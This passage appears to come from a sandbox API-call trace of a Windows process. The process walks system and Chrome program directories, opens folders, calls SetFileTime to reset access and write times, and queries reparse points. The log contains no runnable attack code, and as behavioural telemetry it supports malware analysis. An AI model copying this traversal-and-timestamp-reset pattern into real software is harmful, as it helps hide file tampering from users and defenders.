dwReserved1=0x0, cFileName="msdatt.dll", cAlternateFileName="")) returned 1 [0087.732] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad9d2297, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xad9d2297, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bdee0a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaurl.dll", cAlternateFileName="")) returned 1 [0087.732] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2b0cf35, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb2b0cf35, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xa0f9caf0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0087.732] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6fc914, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b6fc914, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b722a74, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0087.732] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadb02d8f, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xadb02d8f, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb51db240, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0087.732] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28bddc5, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x28bddc5, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0x26a8a93, ftLastWriteTime.dwHighDateTime=0x1ca040b, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0087.732] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28e3f24, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x28e3f24, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0x27ff6ea, ftLastWriteTime.dwHighDateTime=0x1ca040b, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0087.732] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b07acbf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b07acbf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0a0e20, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0087.732] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4e18eb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbc4e18eb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xbc38ac94, ftLastWriteTime.dwHighDateTime=0x1ca0417, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0087.732] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba82b04c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xba82b04c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xaed6d5a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x41000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0087.732] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba87730a, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xba87730a, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xba804eed, ftLastWriteTime.dwHighDateTime=0x1ca0417, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0087.732] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x305d2000, ftCreationTime.dwHighDateTime=0x1c8e1ec, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x305d2000, ftLastWriteTime.dwHighDateTime=0x1c8e1ec, nFileSizeHigh=0x0, nFileSizeLow=0x29618, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0087.732] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x305d2000, ftCreationTime.dwHighDateTime=0x1c8e1ec, ftLastAccessTime.dwLowDateTime=0x5f3710f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x305d2000, ftLastWriteTime.dwHighDateTime=0x1c8e1ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e218, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0087.732] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x305d2000, ftCreationTime.dwHighDateTime=0x1c8e1ec, ftLastAccessTime.dwLowDateTime=0x5f3710f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x305d2000, ftLastWriteTime.dwHighDateTime=0x1c8e1ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e218, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0087.732] GetLastError () returned 0x12 [0087.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.732] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0087.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.733] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c2406d7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8c2406d7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb04ef6b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xad000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0087.733] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d923a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8d4d923a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf37f6470, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0087.733] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d923a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8d4d923a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf37f6470, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0087.733] GetLastError () returned 0x12 [0087.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.733] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d0c8) returned 1 [0087.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.734] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0087.734] GetLastError () returned 0x12 [0087.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0087.734] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0087.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0087.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0087.735] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.735] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa547efa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa547efa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0087.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0087.735] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google" (normalized: "c:\\program files (x86)\\google"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa547efa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa547efa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.735] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google" (normalized: "c:\\program files (x86)\\google"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0087.736] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0087.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a920 [0087.736] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a920, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x132a920, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0087.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a920) returned 1 [0087.736] NtClose (Handle=0x164) returned 0x0 [0087.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0087.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0087.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0087.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0087.737] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0087.737] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa547efa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa547efa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.737] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0087.737] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="")) returned 1 [0087.738] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="")) returned 0 [0087.738] GetLastError () returned 0x12 [0087.738] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e91c0 [0087.738] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0087.738] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa547efa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa547efa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.738] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0087.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.738] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome" (normalized: "c:\\program files (x86)\\google\\chrome"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.738] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome" (normalized: "c:\\program files (x86)\\google\\chrome"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0087.739] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0087.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a920 [0087.739] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a920, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x132a920, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0087.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a920) returned 1 [0087.739] NtClose (Handle=0x164) returned 0x0 [0087.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d0c8 [0087.740] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0087.740] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="")) returned 1 [0087.741] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="")) returned 0 [0087.741] GetLastError () returned 0x12 [0087.741] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0087.741] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0087.741] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.741] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="")) returned 1 [0087.741] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application" (normalized: "c:\\program files (x86)\\google\\chrome\\application"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0087.741] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application" (normalized: "c:\\program files (x86)\\google\\chrome\\application"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0087.741] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.741] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a920, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x132a920, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a920) returned 1 [0087.741] NtClose (Handle=0x164) returned 0x0 [0087.742] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.742] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0087.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="58.0.3029.110", cAlternateFileName="")) returned 1 [0087.743] FindNextFileW (in: 